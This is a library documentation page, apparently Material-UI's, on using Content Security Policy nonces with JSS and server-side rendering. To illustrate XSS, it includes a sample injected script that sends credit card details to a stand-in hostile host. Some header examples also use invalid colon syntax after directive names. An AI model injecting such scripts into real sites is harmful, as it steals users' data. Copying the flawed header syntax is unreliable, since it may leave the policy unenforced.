Content Security Policy

Content Security Policy (CSP)

Starting with JSS version 9.6.0, Material-UI supports Content Security Policy headers.

What is CSP and why is it useful?

Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at https://example.com the CSP header default-src: 'self'; will allow all assets that are located at https://example.com/* and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like:

<script>
  sendCreditCardDetails('https://hostile.example');
</script>

This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.

You can read more about CSP here.

How does one implement CSP?

In order to use CSP with Material-UI (and JSS), you need to use a nonce. A nonce is a randomly generated string that is only used once, therefore you need to add a server middleware to generate one on each request. JSS has a great tutorial on how to achieve this with Express and React Helmet. For a basic rundown, continue reading.

A CSP nonce is a Base 64 encoded string. You can generate one like this:

import uuidv4 from 'uuid/v4';

const nonce = new Buffer(uuidv4()).toString('base64');

It is very important you use UUID version 4, as it generates an unpredictable string. You then apply this nonce to the CSP header. A CSP header might look like this with the nonce applied:

header('Content-Security-Policy')
  .set(`default-src 'self'; style-src: 'self' 'nonce-${nonce}';`);

If you are using Server Side Rendering (SSR), you should pass the nonce in the <style> tag on the server.

<style
  id="jss-server-side"
  nonce={nonce}
  dangerouslySetInnerHTML={{ __html: sheetsRegistry.toString() } }
/>

Then, you must pass this nonce to JSS so it can add it to subsequent <style> tags. The client side gets the nonce from a header. You must include this header regardless of whether or not SSR is used.

<meta property="csp-nonce" content={nonce} />